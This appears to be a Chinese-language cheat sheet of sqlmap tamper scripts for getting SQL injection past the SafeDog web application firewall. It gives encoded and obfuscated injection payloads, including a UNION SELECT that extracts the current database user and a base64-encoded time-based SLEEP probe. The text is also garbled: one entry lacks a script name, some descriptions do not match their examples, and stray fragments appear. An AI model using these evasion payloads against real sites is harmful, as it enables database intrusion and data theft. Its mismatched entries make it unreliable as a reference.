sqlmap脚本绕安全狗



脚本名：apostrophemask.py

作用：用utf8代替引号《Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'》

作用：当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论

Example:

 

( "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa" ) "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

脚本名：space2morehash.py

作用：在有效负荷结束位置加载零字节字符编码

Example: ( 'IFNULL(1, 2)' ) 'IF(ISNULL(1),2,1)'

脚本名：space2mssqlblank.py(mssql)

Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:

---

案例一: wooyun.org/bugs/wooyun-2010-062878

脚本名：base64encode.py

---

作用：用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

脚本名：space2mssqlhash.py

---

作用：替换空格

1	Example: ( '1 AND 9227=9227' ) '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL

脚本名：modsecurityversioned.py

---

作用：过滤空格，包含完整的查询版本注释

1	Example: ( '1 AND 2>1--' ) '1 /*!30874AND 2>1*/--'

Requirement: * MySQL

Tested against:

• MySQL 5.0

脚本名：space2mysqlblank.py

---

作用：空格替换其它空白符号(mysql)

1 2 3 4 5

Example:   * Input: SELECT id FROM users   * Output : SELECT %0Bid%0BFROM%A0users

Requirement:

• MySQL

Tested against:

• MySQL 5.1

案例一:wooyun.org/bugs/wooyun-2010-076735

脚本名：between.py

---

作用：用between替换大于号（>）